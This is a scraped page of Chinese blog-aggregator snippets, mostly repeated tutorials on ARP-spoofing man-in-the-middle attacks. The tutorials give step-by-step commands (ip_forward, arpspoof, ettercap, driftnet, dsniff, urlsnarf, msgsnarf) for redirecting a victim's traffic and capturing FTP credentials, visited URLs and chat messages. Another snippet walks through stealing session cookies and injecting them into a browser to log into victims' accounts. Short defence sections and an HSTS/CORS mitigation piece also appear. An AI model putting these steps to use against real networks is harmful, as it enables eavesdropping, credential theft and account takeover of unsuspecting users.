精华内容
下载资源
问答
  • 中间人攻击-ARP毒化

    2016-01-23 17:44:00
    中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户。仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们。正如字面意思一样,中间人攻击就是攻击者...

    感谢Heee投递

    中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户。仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们。正如字面意思一样,中间人攻击就是攻击者扮演中间人并且实施攻击。它有时被称为monkey-in-the-middle攻击更先进的说它是man-in-the-browser攻击和man-in-the-mobile攻击。

    这其实是一个危险的攻击,它可以劫持一段会话,我们叫它会话劫持。它可以窃取凭证和其他机密信息,即使使用了SSL加密。在本文中,我们将讨论下在不同形式下的中间人攻击。

    ARP(地址解析协议)

    ARP是一项协议。负责执行多个工作并且提供正确的数据包,在中间人攻击中,ARP扮演着重要的角色。那么,什么是ARP缓存中毒攻击呢?
    要充分了解攻击,你需要了解ARP的概念,ARP协议通过IP地址来查找主机的物理地址(也就是MAC地址)。(PS:在以太网中,是用MAC地址来进行通讯的。)让我们来想象这样一个场景:在一个以太网交换网络内,主机A希望能与主机B进行交流(所以我们要获取他的MAC地址咯)。所以主机A通过交换机(HUB也可以- -)对整个网络进行广播,然后使用地址解析协议找到目标主机B的MAC地址。尽管整个广播域下都能收到主机A发送的信息,但只有主机A所请求的主机才会回复ARP请求,将自己的MAC地址发给主机A。
    让我们来看看下面这个图,以便深入理解:

    主机A发送的所包含的信息:

    IP: 192.168.1.2

    MAC: 00:1c:23:42:8d:f4

    目的IP: 192.168.1.12

    目的MAC地址: 00:00:00:00:00:00 <PS:不知道作者为啥写全0,应该也是本地广播吧。不清楚的同学就当全F吧。>

    之后B主机回复ARP请求

    IP: 192.168.1.12

    MAC: 2f:8d:1c:0f:f2:8f

    目的 IP: 192.168.1.2

    目的 MAC地址: 00:1c:23:42:8d:f4

    ARP请求:
    考虑上述场景,主机A的ARP请求发送一个广播给所有同网络的主机。
    ARP响应:
    它回复了响应,其中包含目的主机的MAC地址(主机B也在此网段内)。
    RARP请求:
    RARP(反向地址解析协议)与ARP相反,RARP请求就是根据MAC地址来查找IP地址。
    RARP响应:
    RARP响应与ARP响应相反,在RARP响应中它包含了IP地址。
    ARP工作在OSI模型的第三层(网络层),但它不局限于此。它可以请求第二层(数据链路层)获取物理地址(MAC)。当然与它相反的过程就是RARP
    所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

    ARP欺骗(ARP毒化)
    ARP毒化也被称为ARP缓存中毒和ARP欺骗攻击,这是在内网的中间人攻击。ARP欺骗采取的优势是通过ARP协议欺骗,达到对整个网络进行欺骗。有几种可能引起ARP欺骗的方法,一般是利用内网中的被攻陷主机或使用自己的主机(内部入侵)。有许多工具能够来实施ARP欺骗,如:

    ARPspoof

    Cain&abel

    Ettercap

    ARPoison

    Dsniff

    Parasite

    让我们开始实战吧:

    root@bt:~# arp

    Address HWtype HWaddress Flags Mask Iface

    192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

    root@bt:~#

    所以我的ARP表已经有了默认的网关和MAC地址,我将演示把所有受害者的流量引入我的主机(攻击者),然后我使用ARP欺骗,而网关将把原本流入他们的数据传送给我。
    攻击者:192.168.1.2
    被欺骗主机:192.168.1.5
    默认网关:192.168.1.1
    我们需要启用IP转发,输入下面命令(PS:利用Linux主机的路由功能):

    root@bt:~# cat /proc/sys/net/ipv4/ip_forward

    0

    root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

    root@bt:~# cat /proc/sys/net/ipv4/ip_forward

    1

    root@bt:~#

    下面的攻击我使用ARPspoof,来演示ARPspoofing攻击。这是一个不错的开源工具,可以用来执行ARP欺骗攻击。

    root@bt:~# arpspoof -h

    Usage: arpspoof [-i interface] [-t target] host

    下面的命令是利用ARP毒化,重定向受害者的流量传送给攻击者。

    root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

    现在做第二个ARP毒化攻击,使网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)

    root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.2

    一切都已经设置完毕后,让我们来捕获数据包。我在受攻击的主机上用google搜索猫的图片。
    (PS:有点单项欺骗的意思)
    现在我们在攻击者的主机上输入:

    root@bt:~# driftnet -i eth0

    通过使用Ettercap来进行ARP欺骗
    Ettercap是一个多用途的开源工具,可以用来执行嗅探、主机分析等。在本教程中,我们使用中间人攻击进行ARP欺骗,ettercap有些不错的插件,可以增强中间人攻击。Ettercap中最重要的插件如下:

    dns_spoof (执行DNS欺骗攻击)

    Dos_attack(对受害主机进行拒绝服务攻击)

    Chk_poison(检测是否成功进行了攻击)

    Repoison_arp(顾名思义,修复ARP)

    当然ettercap还有很多插件可以使用,ettercap的优点在于可以使用图形化界面和命令行模式,GUI的ettercap非常容易使用。

    在实际攻击之前,让我们先来讨论一些参数

    -t 只监听这种协议

    -T ettercap检查pcap文件(脱机监听)

    -q 安静(不回显)

    -M 这是一个重要的参数,他会告诉ettercap执行中间人攻击,使用这个参数很简单,如 -M method

    例子1:

    Ettercap -T -q -M ARP//

    如果你在一个非常大的网络,那么我不建议你用这个命令。因为命令告诉ettercap对所有主机进行ARP欺骗

    例子2:
    目标/受害者 IP:192.168.1.6

    root@bt:~# ettercap -T -q -M ARP /192.168.1.6/ //

    ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAListening on eth0... (Ethernet)

    eth0 -> 00:1C:23:42:8D:04 192.168.1.4 255.255.255.0SSL dissection needs a valid 'redir_command_on' script in the etter.conf filePrivileges dropped to UID 65534 GID 65534...28 plugins39 protocol dissectors53 ports monitored7587 mac vendor fingerprint1698 tcp OS fingerprint

    2183 known servicesRandomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %

    …..............Starting Unified sniffing...

    这意味着一切准备工作完成了,嗅探已经启动,让我们验证它吧。

    root@bt:~# driftnet -i eth0

    下面这幅图片表示受害者访问了一个网站,攻击者可以很容易利用driftnet来捕获受害者的活动。

    我们也能分析ARP毒化,手动验证IP地址,
    受害主机被攻击之前:

    C:\>arp -a

    No ARP Entries Found

    受害主机被攻击之后:

    C:\>arp -a

    Interface: 192.168.1.6 --- 0x2Internet Address Physical Address Type192.168.1.1 00-1c-23-42-8d-04 dynamic192.168.1.4 00-1c-23-42-8d-04 dynamic

    C:\>

    你可以看到,都是常见的主机IP和路由IP,而MAC地址则是攻击者的物理地址,因此ARP欺骗已经成功。

    攻击者主机在攻击之前:

    root@bt:~# arpAddress HWtype HWaddress Flags Mask Iface192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

    攻击者主机在攻击之后:

    root@bt:~# arp

    Address HWtype HWaddress Flags Mask Iface

    192.168.1.6 ether 08:00:27:66:13:9b C eth0

    192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

    有很多其他方式来展现ARP欺骗的力量,我们将讨论dsniff套件中的一部分。
    Dsniff&ARP欺骗攻击
    Dsniff是一个非常强大的工具套件,它被用来进行渗透测试。它被用来实施嗅探、网络分析等。它能够捕捉各种协议。ARPspoof和driftnet也是dsniff套件的一部分,当然还有其他套件,如:

    Msgsnarf

    Urlsnarf

    Mailsnarf

    Filesnarf

    dnsspoof

    在如下攻击场景中:

    攻击者IP 192.168.1.12

    被攻击主机IP:192.168.1.6

    路由(网关)IP192.168.1.1

    让我们开始进行ARPspoof IP转发攻击:

    root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forwardroot@bt:~# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.12

    我刚刚启用端口转发,之后使用arpspoof(dsniff的一个插件)来执行ARP毒化攻击。开启dsniff来捕获已知协议获取密码。

    root@bt:~# dsniff -i eth0dsniff: listening on eth0

    如图所示,dsniff成功从受害者主机上捕获了FTP的用户名和密码,尽管这个密码是不正确的,但dsniff可以捕获受害者发送的信息。
    因为攻击者的主机作为了默认的路由器(因为进行了ARP欺骗),因此受害主机传输的数据经过攻击者,攻击者很容易可以嗅探到受害者发送的信息。我们可以arpspoof所有网段内的主机,但我们的示例中只ARP欺骗了单个主机。你可以试试其他的dsniif工具,像urlsnarf。

    root@bt:~# urlsnarf -i eth0

    urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

    它能捕获受害者访问网站的详细信息。你可以试试msgsnarf捕获即时聊天会话信息,我的意思是如果用户通过雅虎聊天或者任何IRC频道,通过msgsnarf可以捕获受害者所有的谈话,结束攻击需要结束arpspoof。

    root@bt:~# killall arpspoof

    如何防止ARP毒化攻击
    ARP欺骗是一种非常危险的攻击,攻击者可以很容易的探取受害者主机证书和其他机密信息。因此如何发现且保护ARP毒化受害者攻击呢?其实这是很容易识别的,如果你是受害主机,可以使用ARP命令查看。
    正如我们可以对上面所讨论IP地址被ARP欺骗攻击之前和之后的区别进行比较,能够验证你是否是受害者。其他的方法是设置ARP缓存表为静态,但不推荐。因为在一个大型的网络中,它要花费很长的时间手动设置,这是不可能的。
    这里有很多工具可以用来帮助你判断是否受到了ARP欺骗,而且有几种工具是可用的,它可以保护你的计算机免受ARP毒化并且检测出ARP缓存表的更变,一些比较出名的工具:

    ARPon

    ARP Wath

    XARP

    翻译:by Heee

    展开全文
  • 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害 服务器和用户。仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们。正如字面意思一样,中间人攻击就是攻击者扮演...

    原文地址:http://www.freebuf.com/articles/system/5157.html

    中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害 服务器和用户。仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们。正如字面意思一样,中间人攻击就是攻击者扮演中间人并且实施 攻击。它有时被称为monkey-in-the-middle攻击更先进的说它是man-in-the-browser攻击和man-in-the- mobile攻击。

    这其实是一个危险的攻击,它可以劫持一段会话,我们叫它会话劫持。它可以窃取凭证和其他机密信息,即使使用了SSL加密。在本文中,我们将讨论下在不同形式下的中间人攻击。

    ARP(地址解析协议)

    ARP是一项协议。负责执行多个工作并且提供正确的数据包,在中间人攻击中,ARP扮演着重要的角色。那么,什么是ARP缓存中毒攻击呢?
    要充分了解攻击,你需要了解ARP的概念,ARP协议通过IP地址来查找主机的物理地址(也就是MAC地址)。(PS:在以太网中,是用MAC地址来进行 通讯的。)让我们来想象这样一个场景:在一个以太网交换网络内,主机A希望能与主机B进行交流(所以我们要获取他的MAC地址咯)。所以主机A通过交换机 (HUB也可以- -)对整个网络进行广播,然后使用地址解析协议找到目标主机B的MAC地址。尽管整个广播域下都能收到主机A发送的信息,但只有主机A所请求的主机才会回 复ARP请求,将自己的MAC地址发给主机A。
    让我们来看看下面这个图,以便深入理解:

    主机A发送的所包含的信息:

    源IP: 192.168.1.2
    源 MAC: 00:1c:23:42:8d:f4
    目的IP: 192.168.1.12
    目的MAC地址: 00:00:00:00:00:00 <PS:不知道作者为啥写全0,应该也是本地广播吧。不清楚的同学就当全F吧。>
    之后B主机回复ARP请求
    源 IP: 192.168.1.12
    源 MAC: 2f:8d:1c:0f:f2:8f
    目的 IP: 192.168.1.2
    目的 MAC地址: 00:1c:23:42:8d:f4

    ARP请求:
    考虑上述场景,主机A的ARP请求发送一个广播给所有同网络的主机。
    ARP响应:
    它回复了响应,其中包含目的主机的MAC地址(主机B也在此网段内)。
    RARP请求:
    RARP(反向地址解析协议)与ARP相反,RARP请求就是根据MAC地址来查找IP地址。
    RARP响应:
    RARP响应与ARP响应相反,在RARP响应中它包含了IP地址。
    ARP工作在OSI模型的第三层(网络层),但它不局限于此。它可以请求第二层(数据链路层)获取物理地址(MAC)。当然与它相反的过程就是RARP
    所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

    ARP欺骗(ARP毒化)
    ARP毒化也被称为ARP缓存中毒和ARP欺骗攻击,这是在内网的中间人攻击。ARP欺骗采取的优势是通过ARP协议欺骗,达到对整个网络进行欺骗。有几 种可能引起ARP欺骗的方法,一般是利用内网中的被攻陷主机或使用自己的主机(内部入侵)。有许多工具能够来实施ARP欺骗,如:

    ARPspoof
    Cain&abel
    Ettercap
    ARPoison
    Dsniff
    Parasite

    让我们开始实战吧:

    root@bt:~# arp
    Address HWtype HWaddress Flags Mask Iface
    192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
    root@bt:~#

    所以我的ARP表已经有了默认的网关和MAC地址,我将演示把所有受害者的流量引入我的主机(攻击者),然后我使用ARP欺骗,而网关将把原本流入他们的数据传送给我。
    攻击者:192.168.1.2
    被欺骗主机:192.168.1.5
    默认网关:192.168.1.1
    我们需要启用IP转发,输入下面命令(PS:利用Linux主机的路由功能):

    root@bt:~# cat /proc/sys/net/ipv4/ip_forward
    0
    root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
    root@bt:~# cat /proc/sys/net/ipv4/ip_forward
    1
    root@bt:~#

    下面的攻击我使用ARPspoof,来演示ARPspoofing攻击。这是一个不错的开源工具,可以用来执行ARP欺骗攻击。

    root@bt:~# arpspoof -h
    Usage: arpspoof [-i interface] [-t target] host

    下面的命令是利用ARP毒化,重定向受害者的流量传送给攻击者。

    root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

     

    现在做第二个ARP毒化攻击,使网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)

    root@bt:~# arpspoof -i eth0 -t 192.168.1.1  192.168.1.2

     

    一切都已经设置完毕后,让我们来捕获数据包。我在受攻击的主机上用google搜索猫的图片。
    (PS:有点单项欺骗的意思)
    现在我们在攻击者的主机上输入:

    root@bt:~# driftnet -i eth0

     

    通过使用Ettercap来进行ARP欺骗
    Ettercap是一个多用途的开源工具,可以用来执行嗅探、主机分析等。在本教程中,我们使用中间人攻击进行ARP欺骗,ettercap有些不错的插件,可以增强中间人攻击。Ettercap中最重要的插件如下:

    dns_spoof (执行DNS欺骗攻击)
    Dos_attack(对受害主机进行拒绝服务攻击)
    Chk_poison(检测是否成功进行了攻击)
    Repoison_arp(顾名思义,修复ARP)

    当然ettercap还有很多插件可以使用,ettercap的优点在于可以使用图形化界面和命令行模式,GUI的ettercap非常容易使用。

     

    在实际攻击之前,让我们先来讨论一些参数

    -t 只监听这种协议
    -T ettercap检查pcap文件(脱机监听)
    -q 安静(不回显)
    -M 这是一个重要的参数,他会告诉ettercap执行中间人攻击,使用这个参数很简单,如 -M method

    例子1:

    Ettercap -T -q -M ARP//

    如果你在一个非常大的网络,那么我不建议你用这个命令。因为命令告诉ettercap对所有主机进行ARP欺骗

    例子2:
    目标/受害者 IP:192.168.1.6

    root@bt:~# ettercap -T -q -M ARP /192.168.1.6/ //
    ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGAListening on eth0... (Ethernet)
    eth0 ->    00:1C:23:42:8D:04 192.168.1.4 255.255.255.0SSL dissection needs a valid 'redir_command_on' script in the etter.conf filePrivileges dropped to UID 65534 GID 65534...28 plugins39 protocol dissectors53 ports monitored7587 mac vendor fingerprint1698 tcp OS fingerprint
    2183 known servicesRandomizing 255 hosts for scanning...Scanning the whole netmask for 255 hosts...* |==================================================>| 100.00 %
    …..............Starting Unified sniffing...

    这意味着一切准备工作完成了,嗅探已经启动,让我们验证它吧。

    root@bt:~# driftnet -i eth0

    下面这幅图片表示受害者访问了一个网站,攻击者可以很容易利用driftnet来捕获受害者的活动。

     

    我们也能分析ARP毒化,手动验证IP地址,
    受害主机被攻击之前:

    C:\>arp -a
    No ARP Entries Found

    受害主机被攻击之后:

    C:\>arp -a
    Interface: 192.168.1.6 --- 0x2Internet Address     Physical Address     Type192.168.1.1        00-1c-23-42-8d-04     dynamic192.168.1.4         00-1c-23-42-8d-04     dynamic
    C:\>

    你可以看到,都是常见的主机IP和路由IP,而MAC地址则是攻击者的物理地址,因此ARP欺骗已经成功。

    攻击者主机在攻击之前:

    root@bt:~# arpAddress HWtype HWaddress Flags Mask Iface192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

    攻击者主机在攻击之后:

    root@bt:~# arp
    Address HWtype HWaddress Flags Mask Iface
    192.168.1.6 ether 08:00:27:66:13:9b C eth0
    192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

    有很多其他方式来展现ARP欺骗的力量,我们将讨论dsniff套件中的一部分。
    Dsniff&ARP欺骗攻击
    Dsniff是一个非常强大的工具套件,它被用来进行渗透测试。它被用来实施嗅探、网络分析等。它能够捕捉各种协议。ARPspoof和driftnet也是dsniff套件的一部分,当然还有其他套件,如:

    Msgsnarf
    Urlsnarf
    Mailsnarf
    Filesnarf
    dnsspoof

    在如下攻击场景中:

    攻击者IP: 192.168.1.12
    被攻击主机IP:192.168.1.6
    路由(网关)IP:192.168.1.1

    让我们开始进行ARPspoof IP转发攻击:

    root@bt:~# echo 1 >> /proc/sys/net/ipv4/ip_forwardroot@bt:~# arpspoof -i eth0 -t 192.168.1.6 192.168.1.1root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.12

    我刚刚启用端口转发,之后使用arpspoof(dsniff的一个插件)来执行ARP毒化攻击。开启dsniff来捕获已知协议获取密码。

    root@bt:~# dsniff -i eth0dsniff: listening on eth0

     

    如图所示,dsniff成功从受害者主机上捕获了FTP的用户名和密码,尽管这个密码是不正确的,但dsniff可以捕获受害者发送的信息。
    因为攻击者的主机作为了默认的路由器(因为进行了ARP欺骗),因此受害主机传输的数据经过攻击者,攻击者很容易可以嗅探到受害者发送的信息。我们可以 arpspoof所有网段内的主机,但我们的示例中只ARP欺骗了单个主机。你可以试试其他的dsniif工具,像urlsnarf。

    root@bt:~# urlsnarf -i eth0
    urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

    它能捕获受害者访问网站的详细信息。你可以试试msgsnarf捕获即时聊天会话信息,我的意思是如果用户通过雅虎聊天或者任何IRC频道,通过msgsnarf可以捕获受害者所有的谈话,结束攻击需要结束arpspoof。

    root@bt:~# killall arpspoof

    如何防止ARP毒化攻击
    ARP欺骗是一种非常危险的攻击,攻击者可以很容易的探取受害者主机证书和其他机密信息。因此如何发现且保护ARP毒化受害者攻击呢?其实这是很容易识别的,如果你是受害主机,可以使用ARP命令查看。
    正如我们可以对上面所讨论IP地址被ARP欺骗攻击之前和之后的区别进行比较,能够验证你是否是受害者。其他的方法是设置ARP缓存表为静态,但不推荐。因为在一个大型的网络中,它要花费很长的时间手动设置,这是不可能的。
    这里有很多工具可以用来帮助你判断是否受到了ARP欺骗,而且有几种工具是可用的,它可以保护你的计算机免受ARP毒化并且检测出ARP缓存表的更变,一些比较出名的工具:

    ARPon
    ARP Wath
    XARP

    转载于:https://www.cnblogs.com/study-development/p/3695164.html

    展开全文
  • 请遵守法律法规,严守道德底线,禁止使用相关技术危害他人信息安全。 攻击主机平台:kali-linux 被攻击主机:笔记本电脑:192.168.1.103 (在同一局域网内) 1.利用ettercap进行arp欺骗:root权限下打开ettercap:...

    请遵守法律法规,严守道德底线,禁止使用相关技术危害他人信息安全。
    攻击主机平台:kali-linux 被攻击主机:笔记本电脑:192.168.1.103 (在同一局域网内)

    1.利用ettercap进行arp欺骗:

    root权限下打开ettercap:ettercap -C (curses UI) ettercap -G (GTK+ GUI)
    curses UI工作界面

    GTK+ UI工作界面:

    这里以GTK+ UI为例,打开ettercap之后,选择Sniff—-Unified-sniffing,然后选择网卡:

    然后Hosts—Scan for hosts—Hosts list,此时可以看到目标主机ip(192.168.1.107)

    选定目标主机,然后点add to target 1,将目标主机添加到目标1;选定路由,点add to target 2,将路由添加到目标2:

    如图,添加成功!
    然后点mitm — arp posoning ,勾选sniff remote connections:

    之后start — start sniffing开始监听~
    点view – connections开始查看连接:

    双击链接查看详细信息:

    2.a.利用ettercap+driftnet截获目标主机的图片数据流

    打开一个终端窗,root权限执行:

    ettercap -i wlan0 -Tq -M arp:remote /192.168.1.107/ /192.168.1.1/              #对目标主机进行arp欺骗

    新建一个终端窗口,执行:

    driftnet -i wlan0        #监听wlan0

    b.再打开一个终端,输入urlsnarf -i wlan0 监听目标浏览过的网页日志,等待获取

    urlsnarf -i wlan0

    c.再打开一个终端,输入wireshark ,进行抓包

    sudo wireshark

    3.利用cookie劫持,登入被攻击者的网络账户

    浏览器浏览网页时都会产生cookie,既然被攻击用户的网络数据是被我们监控的,那么我们可不可以通过这些监控到的数据做些事情呢?
    首先给浏览器安装好cookie注入插件:
    chrome:安装Cookie利用神器:CookieHacker
    下载安装文件或源码,地址:https://github.com/evilcos/cookiehacker,可以选择下咋源码或该插件作者打包好的扩展文件(后缀是crx),然后打开chrome://extensions/,点击“载入正在开发的扩展程序”,选择源码目录,安装后,点击“打包扩展程序”,提示自己打包即可,打包后的crx就可以安装了,或者直接将下载的crx文件拖入该页面安装。安装之后记得给此插件创建一个快捷键,右下角设置,一般是alt+c,当然可以自己另选;
    firefox:安装Scripish+Original Cookie Injector,构建一个可以在特定网页中嵌入cookies的工具:
    Scripish脚本引擎下载地址:
    https://addons.mozilla.org/zh-CN/firefox/addon/scriptish/
    Original Cookie Injector脚本安装地址:
    http://userscripts.org/scripts/show/119798
    接下来就打开截获到的数据:
    这里写图片描述

    把网址复制到浏览器打开,然后复制“Cookie:” 字段之后的cookie文件,打开浏览器的cookie注入工具,复制进去,确定,然后刷新网页:
    这里写图片描述

    刷新网页之后
    这里写图片描述
    有些网站可能安全权限比较高,即使cookie注入虽然可以登录网络账户,但是无法修改信息,比如qq空间,昵图网等;
    但是有些网站就非常坑跌,虽然无法cookie注入登录网络账户,但是密码竟然可以被直接截获明文!比如昵图网
    这里写图片描述
    这里写图片描述

    展开全文
  • 多年来,安全人员已经了解了公共WiFi网络的危害,但直到有创建了这个用户友好的Firefox扩展插件之后,这个安全问题才得到了人们的关注。从那时起,网络上发生了很多事情,那么这样的事情还有可能再发生吗?TL; DR;...

    cfb11cac67922f9098f1cb28aaa90b0e.gif

    大约十年前,Firesheep制造了一个大新闻。多年来,安全人员已经了解了公共WiFi网络的危害,但直到有人创建了这个用户友好的Firefox扩展插件之后,这个安全问题才得到了人们的关注。从那时起,网络上发生了很多事情,那么这样的事情还有可能再发生吗?

    TL; DR; 由于HTTPS的存在,MITM攻击目前不再是一个问题。但是,使用CORS,postMessage和其他一些很酷的东西,有时也可以绕过HTTPS。虽然这是网站所有者的错,但受害的却是用户。

    几年前Firesheep是人们脑海中最重要的东西。在那个年代的网站,比如说Facebook,默认情况下还没有开始使用HTTPS。移动设备(包括笔记本电脑和手机)的急剧增加使得连接到不受信任的WiFi网络变得越来越普遍。

    八年后的今天,这实际上不再是一个问题。这是由于HTTPS的广泛采用,让大量的网络流量能够被加密传输。就在上周,WIRED发表了一篇名为“ 关于使用酒店的Wi-Fi 你知道些什么?。来自你的设备的流量现在已被加密,即使有人发起MITM攻击,你也不会受到什么太多的影响。这绝对是真的,当谈论到安全性时,你在酒店或咖啡店所提到的第一件事情就是MITM,但它已经发生了很大的变化。

    当你在假期旅行时,从机场到上飞机再到入住酒店,你可能会发现自己面临着一个熟悉的困境:我真的要选择信任这些随机的公共Wi-Fi网络吗?就在几年前,答案几乎肯定是选择不信任。但是在2018年,你的回答可能会有不同。

    然而,即使网络流量被加密了,但如果有人发起了MITM攻击,仍然会发生很多不好的事情。可以从几个角度出发讨论这个话题。本文将重点介绍如何利用现代Web技术继续发起MITM攻击,以及网站所有者该如何阻止这种攻击。

    (WIRED发布的文章仍然有一个有效的观点,但也有很大技术讨论空间。)

    272992a7f0e895cd43c6707f7f2fadfe.png攻击场景的其余部分将基于下面的一些条件

    你正在酒店过夜,并将你的设备连接到酒店的WiFi。由于你处于不受信任的网络中,因此你可能不会去浏览任何敏感的信息。

    但是,你正在使用与往常相同的浏览器会话。出于方便,人们永远不会退出Facebook或他们的工作电子邮件。

    4b8ccea5bd6594e941dc338e5baf289f.pngHSTS和cookie标志

    我们需要从一些有关HSTS的基本信息开始。

    HSTS是一个HTTP标头,它指示浏览器后续只应尝试通过HTTPS的方式加载该页面。从浏览器第一次访问具有此标头的网站时,它会将域名添加到列表中,并在标头中指定的时间内记住它。即使我明确的写了http://网页浏览器也会直接通过HTTPS发送请求。

    也可以添加一个标志来预先加载标头。当Web浏览器获取更新或下载时,会包含预加载的域名列表。Web浏览器将拒绝向这些域名发送HTTP流量,即使用户第一次访问这些站点也是如此。

    HSTS的另一个重要特性是名为includeSubDomains的标志。如果https://example.com包含此标头,则Web浏览器将拒绝发送任何未加密的流量到http://foo.example.com。

    HSTS标头只能在HTTPS请求中设置。根据规范,这个标头在HTTP请求上应该是不起作用的(实际上没有经过足够多的浏览器测试来确定这一点)。当人们按以下顺序进行重定向时,这会导致一个常见问题:

    http://example.com> http://www.example.com> https://www.example.com

    由于第一个HTTPS请求将转到www. 因此includeSubDomains-flag并不起作用的,因为必须在apex域名上设置。

    最后,还需要提到的一个东西是安全标志(secure)。这是在创建cookie时在cookie上设置的标志。设置此标志后,将永远不会通过HTTP发送cookie。如果向http://example.com发出请求则响应看起来像是用户没有保存的cookie一样。

    CORS

    我们之前在这里已经提到过一些关于CORS常见的错误配置。如果你还没有正确配置,那么我建议你先阅读那篇文章。

    最简单的攻击方式是压根儿不使用HSTS。假设CORS已经启用,那么http://example.com可以请求https://example.com并读取数据。这在MITM场景中是可能发生的,因为发出请求的那个请求是通过HTTP托管的。由于实际的请求将通过HTTPS发送,因此即使带有secure标志的cookie也会随之发送。

    另一个非常常见的问题是CORS允许访问任何子域名,但HSTS没有设置includeSubDomains-标志。这意味着攻击者能够在http://foobar.example.com上托管恶意的javascript然后向https://example.com发出请求。在MITM攻击场景中,攻击者可以随意构造他们想攻击的任何子域名。在讨论HSTS时,我们在前面已经解释过,它存在一个重定向问题,因此当主应用程序托管在www上时,这种攻击手法就很常见的。

    一个有趣的攻击向量是在使用HSTS时,CORS可以支持多个域名。我们用一个真实的案例来说明一下,在periscope.tv上的CORS可以通过HTTP和HTTPS接受*.periscope.tv,*.pscp.tv和*.twitter.com。只要有人登录到periscope.tv,HSTS就会确保后续的请求不会通过HTTP发送到该域名。但是,受害者之前从未访问过*.pscp.tv的可能性很大,而且在MITM攻击场景中,攻击者可以在那里伪造一个HTTP的页面并发送请求到periscope.tv。在这种情况下,这种攻击将被阻止,因为所有这些域名的所有HSTS策略都是预加载的。

    postMessage

    正如我们之前所述,在使用postMessage时检查消息的来源非常重要。但是,这些检查仅检查来源是否以特定内容作为结尾并因此导致攻击者可以匹配任何子域名,这是个很常见的问题。这意味着完全没有检查协议。任何子域名上的HTTP页面都能够将消息发送到主应用程序。

    还有一些基于正则表达式的来源检查,有意允许了HTTP和HTTPS,即使Web应用程序应该只能通过HTTPS使用也会允许匹配HTTP。还应该注意的是,有几种网络协议实际上也可以托管Web内容,例如FTP。因此,务必确保将HTTPS列入了白名单,而不是将HTTP列入黑名单。相关案例请查看:https://hackerone.com/reports/210654

    至于与HSTS的组合使用,实际上与CORS的问题遵循的是相同的原则。

    WebSocket

    WebSocket实际上在握手请求中共享了cookie,因此需要用与CORS请求相似的方式进行源的检查。这仅在应用程序需要关注cookie数据时才很重要,因此并不总是适用于很多情况。

    https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers

    可能已经有一些类似的方式或技术以上述类似的方式被滥用。如果今天没有,那很快就会有。如果MITM在你的威胁模型中,那么这些都是不应忽视的问题。

    修复建议

    网站所有者

    HSTS

    第一步是在网站上开始使用HSTS,因为今天许多人都没有这样做。在已经通过HTTPS提供服务的网站上,这样做没有任何问题。当你实现了HSTS并确保它正常工作时,记得添加关于预加载它的标志。

    如果可能,请在HTTP头中包含includeSubDomains-header。但是,这将要求所有子域名也要通过HTTPS提供所有流量,不过这取决于具体情况并且可能有点困难。

    CORS

    确保CORS仅接受HTTPS请求。因为最常见的解决方案是反射源,即使源与模式匹配成功,也需要检查它是否https://开头。

    postMessage和WebSocket

    与CORS非常相似:确保检查了源并检查了协议而不仅仅是主机名。

    普通用户

    在写这篇文章之前,我曾与几个有这些安全问题的大网站的安全人员联系过。虽然许多人都比较关心这个问题,但也有几个人认为这是可以接受的风险。他们认为受害者不太可能受到这样的MITM攻击或类似的理由。因此,尽管应该由网站所有者负责修复,但用户也必须关心这个问题。

    · 第一步是安装HTTPS Everywhere。它是一个浏览器插件,类似于HSTS,但是在客户端上。

    · 第二个建议是不要使用公共WiFi。自Firesheep时代以来的最大变化也是移动数据的价值的变化。许多经常连接到开放网络的人也会用手机连接这些开放式网络。

    · 如果上面一条不适用于你,那第二个最好的建议是使用VPN。但是,应该明白的是,这也不是一种防御策略。由于许多公共热点在你连接时都有某种登录页面,因此你实际上必须连接到网络一段时间,而不会有流量通过VPN。在此期间,热点会强制你的设备发出前文所描述的技术的网络请求。

    ...

    让我再次引用WIRED文章作为本文所有内容的结束。请记住,要对自己的情况进行风险分析,然后采取行动。

    ccdafbd7ddc37a9c42dec95bb7eb0acb.png

    53f99e934a15ddefbeca1fe9517469e4.png

    展开全文
  • 持久型也就是攻击的代码被服务端写入数据库中,这种攻击危害性很大,因为如果网站访问量很大的话,就会到导致大量正常访问页面的用户都受到攻击。 举个例子,对于评论功能来说,就是防范持久型XSS攻击,因为我可以在...
  • 中间人攻击可以危害到从合法客户端到服务端信道的完整性,导致两者无法实现可信的信息交互 相关历史与利用 工具的出现 2001年Sir Dystic发布了一个SMBRelay的工具,本意是提供SMB服务,并且收集传入的SMB流量中...
  • ARP欺骗攻击

    2018-08-02 07:03:27
